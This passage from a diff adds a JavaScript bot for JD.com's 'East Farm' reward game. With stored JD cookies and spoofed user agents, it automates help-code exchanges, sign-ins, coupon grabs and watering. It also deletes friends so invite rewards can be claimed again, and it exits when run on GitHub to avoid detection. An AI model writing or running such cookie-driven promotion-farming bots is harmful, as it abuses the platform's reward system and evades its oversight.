($.farmAssistResult.assistFriendList.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } else { + await masterHelpTaskInitForFarm(); + if ($.masterHelpResult.code === '0') { + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length >= 5) { + // 已有五人助力。领取助力后的奖励 + if (!$.masterHelpResult.masterGotFinal) { + await masterGotFinishedTaskForFarm(); + if ($.masterGotFinished.code === '0') { + console.log(`已成功领取好友助力奖励:【${$.masterGotFinished.amount}】g水`); + message += `【额外奖励】${$.masterGotFinished.amount}g水领取成功\n`; + } + } else { + console.log("已经领取过5好友助力额外奖励"); + message += `【额外奖励】已被领取过\n`; + } + } else { + console.log("助力好友未达到5个"); + message += `【额外奖励】领取失败,原因:给您助力的人未达5个\n`; + } + if ($.masterHelpResult.masterHelpPeoples && $.masterHelpResult.masterHelpPeoples.length > 0) { + let str = ''; + $.masterHelpResult.masterHelpPeoples.map((item, index) => { + if (index === ($.masterHelpResult.masterHelpPeoples.length - 1)) { + str += item.nickName || "匿名用户"; + } else { + str += (item.nickName || "匿名用户") + ','; + } + let date = new Date(item.time); + let time = date.getFullYear() + '-' + (date.getMonth() + 1) + '-' + date.getDate() + ' ' + date.getHours() + ':' + date.getMinutes() + ':' + date.getMinutes(); + console.log(`\n京东昵称【${item.nickName || "匿名用户"}】 在 ${time} 给您助过力\n`); + }) + message += `【助力您的好友】${str}\n`; + } + console.log('领取额外奖励水滴结束\n'); + } + } +} +//助力好友 +async function masterHelpShare() { + + await initForFarm(); + let salveHelpAddWater = 0; + let remainTimes = 3;//今日剩余助力次数,默认3次(京东农场每人每天3次助力机会)。 + let helpSuccessPeoples = '';//成功助力好友 + if(llhelp){ + console.log('开始助力好友') + for (let code of newShareCodes) { + if(NoNeedCodes){ + var llnoneed=false; + for (let NoNeedCode of NoNeedCodes) { + if (code==NoNeedCode){ + llnoneed=true; + break; + } + } + if(llnoneed){ + console.log(`${code}助力已满,跳过...`); + continue; + } + } + console.log(`${$.UserName}开始助力: ${code}`); + if (!code) continue; + if (!$.farmInfo.farmUserPro) { + console.log('未种植,跳过助力\n') + continue + } + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('不能为自己助力哦,跳过自己的shareCode\n') + continue + } + await masterHelp(code); + if ($.helpResult.code === '0') { + if ($.helpResult.helpResult.code === '0') { + //助力成功 + salveHelpAddWater += $.helpResult.helpResult.salveHelpAddWater; + console.log(`【助力好友结果】: 已成功给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力`); + console.log(`给好友【${$.helpResult.helpResult.masterUserInfo.nickName}】助力获得${$.helpResult.helpResult.salveHelpAddWater}g水滴`) + helpSuccessPeoples += ($.helpResult.helpResult.masterUserInfo.nickName || '匿名用户') + ','; + } else if ($.helpResult.helpResult.code === '8') { + console.log(`【助力好友结果】: 助力【${$.helpResult.helpResult.masterUserInfo.nickName}】失败,您今天助力次数已耗尽`); + } else if ($.helpResult.helpResult.code === '9') { + console.log(`【助力好友结果】: 之前给【${$.helpResult.helpResult.masterUserInfo.nickName}】助力过了`); + } else if ($.helpResult.helpResult.code === '10') { + NoNeedCodes.push(code); + console.log(`【助力好友结果】: 好友【${$.helpResult.helpResult.masterUserInfo.nickName}】已满五人助力`); + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.helpResult)}`); + } + console.log(`【今日助力次数还剩】${$.helpResult.helpResult.remainTimes}次\n`); + remainTimes = $.helpResult.helpResult.remainTimes; + if ($.helpResult.helpResult.remainTimes === 0) { + console.log(`您当前助力次数已耗尽,跳出助力`); + break + } + } else { + console.log(`助力失败::${JSON.stringify($.helpResult)}`); + } + } + } + if ($.isLoon() || $.isQuanX() || $.isSurge()) { + let helpSuccessPeoplesKey = timeFormat() + $.farmInfo.farmUserPro.shareCode; + if (!$.getdata(helpSuccessPeoplesKey)) { + //把前一天的清除 + $.setdata('', timeFormat(Date.now() - 24 * 60 * 60 * 1000) + $.farmInfo.farmUserPro.shareCode); + $.setdata('', helpSuccessPeoplesKey); + } + if (helpSuccessPeoples) { + if ($.getdata(helpSuccessPeoplesKey)) { + $.setdata($.getdata(helpSuccessPeoplesKey) + ',' + helpSuccessPeoples, helpSuccessPeoplesKey); + } else { + $.setdata(helpSuccessPeoples, helpSuccessPeoplesKey); + } + } + helpSuccessPeoples = $.getdata(helpSuccessPeoplesKey); + } + if (helpSuccessPeoples && helpSuccessPeoples.length > 0) { + message += `【您助力的好友👬】${helpSuccessPeoples.substr(0, helpSuccessPeoples.length - 1)}\n`; + } + if (salveHelpAddWater > 0) { + // message += `【助力好友👬】获得${salveHelpAddWater}g💧\n`; + console.log(`【助力好友👬】获得${salveHelpAddWater}g💧\n`); + } + message += `【今日剩余助力👬】${remainTimes}次\n`; +} +//水滴雨 +async function executeWaterRains() { + let executeWaterRain = !$.farmTask.waterRainInit.f; + if (executeWaterRain) { + console.log(`水滴雨任务,每天两次,最多可得10g水滴`); + console.log(`两次水滴雨任务是否全部完成:${$.farmTask.waterRainInit.f ? '是' : '否'}`); + if ($.farmTask.waterRainInit.lastTime) { + if (Date.now() < ($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000)) { + executeWaterRain = false; + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`; + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】未到时间,请${new Date($.farmTask.waterRainInit.lastTime + 3 * 60 * 60 * 1000).toLocaleTimeString()}再试\n`); + } + } + if (executeWaterRain) { + console.log(`开始水滴雨任务,这是第${$.farmTask.waterRainInit.winTimes + 1}次,剩余${2 - ($.farmTask.waterRainInit.winTimes + 1)}次`); + await waterRainForFarm(); + console.log('水滴雨waterRain'); + if ($.waterRain.code === '0') { + console.log('水滴雨任务执行成功,获得水滴:' + $.waterRain.addEnergy + 'g'); + console.log(`【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`); + // message += `【第${$.farmTask.waterRainInit.winTimes + 1}次水滴雨】获得${$.waterRain.addEnergy}g水滴\n`; + } + } + } else { + // message += `【水滴雨】已全部完成,获得20g💧\n`; + } +} +//打卡领水活动 +async function clockInIn() { + console.log('开始打卡领水活动(签到,关注,领券)'); + await clockInInitForFarm(); + if ($.clockInInit.code === '0') { + // 签到得水滴 + if (!$.clockInInit.todaySigned) { + console.log('开始今日签到'); + await clockInForFarm(); + console.log(`打卡结果${JSON.stringify($.clockInForFarmRes)}`); + if ($.clockInForFarmRes.code === '0') { + // message += `【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`; + console.log(`【第${$.clockInForFarmRes.signDay}天签到】获得${$.clockInForFarmRes.amount}g💧\n`) + if ($.clockInForFarmRes.signDay === 7) { + //可以领取惊喜礼包 + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + } + } + if ($.clockInInit.todaySigned && $.clockInInit.totalSigned === 7) { + console.log('开始领取--惊喜礼包38g水滴'); + await gotClockInGift(); + if ($.gotClockInGiftRes.code === '0') { + // message += `【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`; + console.log(`【惊喜礼包】获得${$.gotClockInGiftRes.amount}g💧\n`); + } + } + // 限时关注得水滴 + if ($.clockInInit.themes && $.clockInInit.themes.length > 0) { + for (let item of $.clockInInit.themes) { + if (!item.hadGot) { + console.log(`关注ID${item.id}`); + await clockInFollowForFarm(item.id, "theme", "1"); + console.log(`themeStep1--结果${JSON.stringify($.themeStep1)}`); + if ($.themeStep1.code === '0') { + await clockInFollowForFarm(item.id, "theme", "2"); + console.log(`themeStep2--结果${JSON.stringify($.themeStep2)}`); + if ($.themeStep2.code === '0') { + console.log(`关注${item.name},获得水滴${$.themeStep2.amount}g`); + } + } + } + } + } + // 限时领券得水滴 + if ($.clockInInit.venderCoupons && $.clockInInit.venderCoupons.length > 0) { + for (let item of $.clockInInit.venderCoupons) { + if (!item.hadGot) { + console.log(`领券的ID${item.id}`); + await clockInFollowForFarm(item.id, "venderCoupon", "1"); + console.log(`venderCouponStep1--结果${JSON.stringify($.venderCouponStep1)}`); + if ($.venderCouponStep1.code === '0') { + await clockInFollowForFarm(item.id, "venderCoupon", "2"); + if ($.venderCouponStep2.code === '0') { + console.log(`venderCouponStep2--结果${JSON.stringify($.venderCouponStep2)}`); + console.log(`从${item.name}领券,获得水滴${$.venderCouponStep2.amount}g`); + } + } + } + } + } + } + console.log('开始打卡领水活动(签到,关注,领券)结束\n'); +} +// +async function getAwardInviteFriend() { + await friendListInitForFarm();//查询好友列表 + // console.log(`查询好友列表数据:${JSON.stringify($.friendList)}\n`) + if ($.friendList) { + console.log(`\n今日已邀请好友${$.friendList.inviteFriendCount}个 / 每日邀请上限${$.friendList.inviteFriendMax}个`); + console.log(`开始删除${$.friendList.friends && $.friendList.friends.length}个好友,可拿每天的邀请奖励`); + if ($.friendList.friends && $.friendList.friends.length > 0) { + for (let friend of $.friendList.friends) { + console.log(`\n开始删除好友 [${friend.shareCode}]`); + const deleteFriendForFarm = await request('deleteFriendForFarm', { "shareCode": `${friend.shareCode}`, "version": 8, "channel": 1 }); + if (deleteFriendForFarm && deleteFriendForFarm.code === '0') { + console.log(`删除好友 [${friend.shareCode}] 成功\n`); + } + } + } + await receiveFriendInvite();//为他人助力,接受邀请成为别人的好友 + if ($.friendList.inviteFriendCount > 0) { + if ($.friendList.inviteFriendCount > $.friendList.inviteFriendGotAwardCount) { + console.log('开始领取邀请好友的奖励'); + await awardInviteFriendForFarm(); + console.log(`领取邀请好友的奖励结果::${JSON.stringify($.awardInviteFriendRes)}`); + } + } else { + console.log('今日未邀请过好友') + } + } else { + console.log(`查询好友列表失败\n`); + } +} +//给好友浇水 +async function doFriendsWater() { + await friendListInitForFarm(); + console.log('开始给好友浇水...'); + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax } = $.farmTask.waterFriendTaskInit; + console.log(`今日已给${waterFriendCountKey}个好友浇水`); + if (waterFriendCountKey < waterFriendMax) { + let needWaterFriends = []; + if ($.friendList.friends && $.friendList.friends.length > 0) { + $.friendList.friends.map((item, index) => { + if (item.friendState === 1) { + if (needWaterFriends.length < (waterFriendMax - waterFriendCountKey)) { + needWaterFriends.push(item.shareCode); + } + } + }); + console.log(`需要浇水的好友列表shareCodes:${JSON.stringify(needWaterFriends)}`); + let waterFriendsCount = 0, cardInfoStr = ''; + for (let index = 0; index < needWaterFriends.length; index++) { + await waterFriendForFarm(needWaterFriends[index]); + console.log(`为第${index + 1}个好友浇水结果:${JSON.stringify($.waterFriendForFarmRes)}\n`) + if ($.waterFriendForFarmRes.code === '0') { + waterFriendsCount++; + if ($.waterFriendForFarmRes.cardInfo) { + console.log('为好友浇水获得道具了'); + if ($.waterFriendForFarmRes.cardInfo.type === 'beanCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴换豆卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'fastCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `快速浇水卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'doubleCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `水滴翻倍卡,`; + } else if ($.waterFriendForFarmRes.cardInfo.type === 'signCard') { + console.log(`获取道具卡:${$.waterFriendForFarmRes.cardInfo.rule}`); + cardInfoStr += `加签卡,`; + } + } + } else if ($.waterFriendForFarmRes.code === '11') { + console.log('水滴不够,跳出浇水') + } + } + // message += `【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`; + console.log(`【好友浇水】已给${waterFriendsCount}个好友浇水,消耗${waterFriendsCount * 10}g水\n`); + if (cardInfoStr && cardInfoStr.length > 0) { + // message += `【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`; + console.log(`【好友浇水奖励】${cardInfoStr.substr(0, cardInfoStr.length - 1)}\n`); + } + } else { + console.log('您的好友列表暂无好友,快去邀请您的好友吧!') + } + } else { + console.log(`今日已为好友浇水量已达${waterFriendMax}个`) + } +} +//领取给3个好友浇水后的奖励水滴 +async function getWaterFriendGotAward() { + await taskInitForFarm(); + const { waterFriendCountKey, waterFriendMax, waterFriendSendWater, waterFriendGotAward } = $.farmTask.waterFriendTaskInit + if (waterFriendCountKey >= waterFriendMax) { + if (!waterFriendGotAward) { + await waterFriendGotAwardForFarm(); + console.log(`领取给${waterFriendMax}个好友浇水后的奖励水滴::${JSON.stringify($.waterFriendGotAwardRes)}`) + if ($.waterFriendGotAwardRes.code === '0') { + // message += `【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`; + console.log(`【给${waterFriendMax}好友浇水】奖励${$.waterFriendGotAwardRes.addWater}g水滴\n`); + } + } else { + console.log(`给好友浇水的${waterFriendSendWater}g水滴奖励已领取\n`); + // message += `【给${waterFriendMax}好友浇水】奖励${waterFriendSendWater}g水滴已领取\n`; + } + } else { + console.log(`暂未给${waterFriendMax}个好友浇水\n`); + } +} +//接收成为对方好友的邀请 +async function receiveFriendInvite() { + for (let code of newShareCodes) { + if (code === $.farmInfo.farmUserPro.shareCode) { + console.log('自己不能邀请自己成为好友噢\n') + continue + } + await inviteFriend(code); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes)}`) + if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '0') { + console.log(`接收邀请成为好友结果成功,您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + } else if ($.inviteFriendRes && $.inviteFriendRes.helpResult && $.inviteFriendRes.helpResult.code === '17') { + console.log(`接收邀请成为好友结果失败,对方已是您的好友`) + } + } + // console.log(`开始接受6fbd26cc27ac44d6a7fed34092453f77的邀请\n`) + // await inviteFriend('6fbd26cc27ac44d6a7fed34092453f77'); + // console.log(`接收邀请成为好友结果:${JSON.stringify($.inviteFriendRes.helpResult)}`) + // if ($.inviteFriendRes.helpResult.code === '0') { + // console.log(`您已成为${$.inviteFriendRes.helpResult.masterUserInfo.nickName}的好友`) + // } else if ($.inviteFriendRes.helpResult.code === '17') { + // console.log(`对方已是您的好友`) + // } +} +async function duck() { + for (let i = 0; i < 10; i++) { + //这里循环十次 + await getFullCollectionReward(); + if ($.duckRes.code === '0') { + if (!$.duckRes.hasLimit) { + console.log(`小鸭子游戏:${$.duckRes.title}`); + // if ($.duckRes.type !== 3) { + // console.log(`${$.duckRes.title}`); + // if ($.duckRes.type === 1) { + // message += `【小鸭子】为你带回了水滴\n`; + // } else if ($.duckRes.type === 2) { + // message += `【小鸭子】为你带回快速浇水卡\n` + // } + // } + } else { + console.log(`${$.duckRes.title}`) + break; + } + } else if ($.duckRes.code === '10') { + console.log(`小鸭子游戏达到上限`) + break; + } + } +} +async function GetCollect() { + try { + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】`); + var llfound = false; + var strShareCode = ""; + if (TempShareCache) { + for (let j = 0; j < TempShareCache.length; j++) { + if (TempShareCache[j].pt_pin == $.UserName) { + llfound = true; + strShareCode = TempShareCache[j].ShareCode; + } + } + } + if (!llfound) { + console.log($.UserName + "该账号无缓存,尝试联网获取互助码....."); + llgetshare=true; + await initForFarm(); + if ($.farmInfo.farmUserPro) { + var tempAddCK = {}; + strShareCode=$.farmInfo.farmUserPro.shareCode; + tempAddCK = { + "pt_pin": $.UserName, + "ShareCode": strShareCode + }; + TempShareCache.push(tempAddCK); + //标识,需要更新缓存文件 + boolneedUpdate = true; + } + } + + if (strShareCode) { + console.log(`\n`+strShareCode); + newShareCodes.push(strShareCode) + } else { + console.log(`\n数据异常`); + } + } catch (e) { + $.logErr(e); + } +} +// ========================API调用接口======================== +//鸭子,点我有惊喜 +async function getFullCollectionReward() { + return new Promise(resolve => { + const body = { "type": 2, "version": 6, "channel": 2 }; + $.post(taskUrl("getFullCollectionReward", body), (err, resp, data) => { + try { + if (err) { + console.log('\ngetFullCollectionReward: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.duckRes = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +/** + * 领取10次浇水奖励API + */ +async function totalWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.totalWaterReward = await request(functionId); +} +//领取首次浇水奖励API +async function firstWaterTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.firstWaterReward = await request(functionId); +} +//领取给3个好友浇水后的奖励水滴API +async function waterFriendGotAwardForFarm() { + const functionId = arguments.callee.name.toString(); + $.waterFriendGotAwardRes = await request(functionId, { "version": 4, "channel": 1 }); +} +// 查询背包道具卡API +async function myCardInfoForFarm() { + const functionId = arguments.callee.name.toString(); + $.myCardInfoRes = await request(functionId, { "version": 5, "channel": 1 }); +} +//使用道具卡API +async function userMyCardForFarm(cardType) { + const functionId = arguments.callee.name.toString(); + $.userMyCardRes = await request(functionId, { "cardType": cardType }); +} +/** + * 领取浇水过程中的阶段性奖励 + * @param type + * @returns {Promise} + */ +async function gotStageAwardForFarm(type) { + $.gotStageAwardForFarmRes = await request(arguments.callee.name.toString(), { 'type': type }); +} +//浇水API +async function waterGoodForFarm() { + await $.wait(2000); + console.log('等待了2秒'); + + const functionId = arguments.callee.name.toString(); + $.waterResult = await request(functionId); +} +// 初始化集卡抽奖活动数据API +async function initForTurntableFarm() { + $.initForTurntableFarmRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} +async function lotteryForTurntableFarm() { + await $.wait(3000); + console.log('等待了3秒'); + $.lotteryRes = await request(arguments.callee.name.toString(), { type: 1, version: 4, channel: 1 }); +} + +async function timingAwardForTurntableFarm() { + $.timingAwardRes = await request(arguments.callee.name.toString(), { version: 4, channel: 1 }); +} + +async function browserForTurntableFarm(type, adId) { + if (type === 1) { + console.log('浏览爆品会场'); + } + if (type === 2) { + console.log('天天抽奖浏览任务领取水滴'); + } + const body = { "type": type, "adId": adId, "version": 4, "channel": 1 }; + $.browserForTurntableFarmRes = await request(arguments.callee.name.toString(), body); + // 浏览爆品会场8秒 +} +//天天抽奖浏览任务领取水滴API +async function browserForTurntableFarm2(type) { + const body = { "type": 2, "adId": type, "version": 4, "channel": 1 }; + $.browserForTurntableFarm2Res = await request('browserForTurntableFarm', body); +} +/** + * 天天抽奖拿好礼-助力API(每人每天三次助力机会) + */ +async function lotteryMasterHelp() { + $.lotteryMasterHelpRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-3', + babelChannel: "3", + version: 4, + channel: 1 + }); +} + +//领取5人助力后的额外奖励API +async function masterGotFinishedTaskForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterGotFinished = await request(functionId); +} +//助力好友信息API +async function masterHelpTaskInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.masterHelpResult = await request(functionId); +} +//新版助力好友信息API +async function farmAssistInit() { + const functionId = arguments.callee.name.toString(); + $.farmAssistResult = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//新版领取助力奖励API +async function receiveStageEnergy() { + const functionId = arguments.callee.name.toString(); + $.receiveStageEnergy = await request(functionId, {"version":14,"channel":1,"babelChannel":"120"}); +} +//接受对方邀请,成为对方好友的API +async function inviteFriend() { + $.inviteFriendRes = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0] + '-inviteFriend', + version: 4, + channel: 2 + }); +} +// 助力好友API +async function masterHelp() { + $.helpResult = await request(`initForFarm`, { + imageUrl: "", + nickName: "", + shareCode: arguments[0], + babelChannel: "3", + version: 2, + channel: 1 + }); +} +/** + * 水滴雨API + */ +async function waterRainForFarm() { + const functionId = arguments.callee.name.toString(); + const body = { "type": 1, "hongBaoTimes": 100, "version": 3 }; + $.waterRain = await request(functionId, body); +} +/** + * 打卡领水API + */ +async function clockInInitForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInInit = await request(functionId); +} + +// 连续签到API +async function clockInForFarm() { + const functionId = arguments.callee.name.toString(); + $.clockInForFarmRes = await request(functionId, { "type": 1 }); +} + +//关注,领券等API +async function clockInFollowForFarm(id, type, step) { + const functionId = arguments.callee.name.toString(); + let body = { + id, + type, + step + } + if (type === 'theme') { + if (step === '1') { + $.themeStep1 = await request(functionId, body); + } else if (step === '2') { + $.themeStep2 = await request(functionId, body); + } + } else if (type === 'venderCoupon') { + if (step === '1') { + $.venderCouponStep1 = await request(functionId, body); + } else if (step === '2') { + $.venderCouponStep2 = await request(functionId, body); + } + } +} + +// 领取连续签到7天的惊喜礼包API +async function gotClockInGift() { + $.gotClockInGiftRes = await request('clockInForFarm', { "type": 2 }) +} + +//定时领水API +async function gotThreeMealForFarm() { + const functionId = arguments.callee.name.toString(); + $.threeMeal = await request(functionId); +} +/** + * 浏览广告任务API + * type为0时, 完成浏览任务 + * type为1时, 领取浏览任务奖励 + */ +async function browseAdTaskForFarm(advertId, type) { + const functionId = arguments.callee.name.toString(); + if (type === 0) { + $.browseResult = await request(functionId, {advertId, type}); + } else if (type === 1) { + $.browseRwardResult = await request(functionId, {advertId, type}); + } +} +// 被水滴砸中API +async function gotWaterGoalTaskForFarm() { + $.goalResult = await request(arguments.callee.name.toString(), { type: 3 }); +} +//签到API +async function signForFarm() { + const functionId = arguments.callee.name.toString(); + $.signResult = await request(functionId); +} +/** + * 初始化农场, 可获取果树及用户信息API + */ +async function initForFarm() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({ "version": 4 }))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\ninitForFarm: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 初始化任务列表API +async function taskInitForFarm() { + console.log('\n初始化任务列表') + const functionId = arguments.callee.name.toString(); + $.farmTask = await request(functionId, { "version": 14, "channel": 1, "babelChannel": "120" }); +} +//获取好友列表API +async function friendListInitForFarm() { + $.friendList = await request('friendListInitForFarm', { "version": 4, "channel": 1 }); + // console.log('aa', aa); +} +// 领取邀请好友的奖励API +async function awardInviteFriendForFarm() { + $.awardInviteFriendRes = await request('awardInviteFriendForFarm'); +} +//为好友浇水API +async function waterFriendForFarm(shareCode) { + const body = { "shareCode": shareCode, "version": 6, "channel": 1 } + $.waterFriendForFarmRes = await request('waterFriendForFarm', body); +} +async function showMsg() { + if ($.isNode() && process.env.FRUIT_NOTIFY_CONTROL) { + $.ctrTemp = `${process.env.FRUIT_NOTIFY_CONTROL}` === 'false'; + } else if ($.getdata('jdFruitNotify')) { + $.ctrTemp = $.getdata('jdFruitNotify') === 'false'; + } else { + $.ctrTemp = `${jdNotify}` === 'false'; + } + if ($.ctrTemp) { + $.msg($.name, subTitle, message, option); + if ($.isNode()) { + allMessage += `${subTitle}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${subTitle}\n${message}`); + } + } else { + $.log(`\n${message}\n`); + } +} + +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\nrequest: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${encodeURIComponent(JSON.stringify(body))}&appid=wh5`, + headers: { + "Host": "api.m.jd.com", + "Accept": "*/*", + "Origin": "https://carry.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://carry.m.jd.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), 